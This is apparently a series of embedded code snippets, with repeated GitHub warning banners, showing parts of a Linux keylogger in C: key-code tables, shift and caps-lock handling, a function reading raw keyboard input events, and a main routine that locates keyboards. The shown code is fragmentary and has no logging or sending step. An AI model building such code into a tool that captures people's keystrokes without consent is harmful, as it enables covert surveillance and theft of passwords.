This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define KEY_8 9 | |
#define KEY_9 10 | |
#define KEY_0 11 | |
#define KEY_MINUS 12 | |
#define KEY_EQUAL 13 | |
#define KEY_BACKSPACE 14 | |
#define KEY_TAB 15 | |
#define KEY_Q 16 | |
#define KEY_W 17 | |
#define KEY_E 18 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const char lowercase_map[] = { | |
0, 0, '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', | |
'-', '=', '\b', '\t', 'q', 'w', 'e', 'r', 't', 'y', 'u', 'i', | |
'o', 'p', '[', ']', '\n', 0, 'a', 's', 'd', 'f', 'g', 'h', | |
'j', 'k', 'l', ';', '\'', '\n', 0, '\\', 'z', 'x', 'c', 'v', | |
'b', 'n', 'm', ',', '.', '/', 0, '*', 0, ' ', 0, 0, | |
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, | |
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, | |
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, '\r' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (input_event.value == 1) { | |
if (kb->caps_mod) { | |
kb->caps_mod = 0; | |
} else { | |
kb->caps_mod = 1; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
void | |
process_keystroke(int fd, short which, keyboard_t *kb) | |
{ | |
struct input_event input_event; | |
ssize_t bytes_read; | |
char key; | |
bytes_read = read(fd, &input_event, sizeof(struct input_event)); | |
if (bytes_read != sizeof(struct input_event)) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
void | |
process_keystroke(int fd, short which, keyboard_t *kb) | |
{ | |
struct input_event input_event; | |
ssize_t bytes_read; | |
char key; | |
bytes_read = read(fd, &input_event, sizeof(struct input_event)); | |
if (bytes_read != sizeof(struct input_event)) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
struct input_event input_event; | |
ssize_t bytes_read; | |
char key; | |
bytes_read = read(fd, &input_event, sizeof(struct input_event)); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (input_event.type != EV_KEY) { | |
return; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
switch (input_event.code) { | |
case KEY_RIGHTSHIFT: | |
case KEY_LEFTSHIFT: | |
kb->shift_mod = input_event.value; | |
return; | |
case KEY_RIGHTCTRL: | |
case KEY_LEFTCTRL: | |
/* I don't really care about ctrl chars */ | |
return; | |
case KEY_CAPSLOCK: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (kb->shift_mod) { | |
key = uppercase_map[input_event.code]; | |
if (kb->caps_mod) { | |
key = tolower(key); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
int main(int argc, char **argv) | |
{ | |
const char **keyboards; | |
keyboards = keylogger_find_keyboards(); | |
if (keyboards == NULL) { | |
fprintf(stderr, "error finding keyboards: %s\n", | |
strerror(errno)); | |
exit(1); |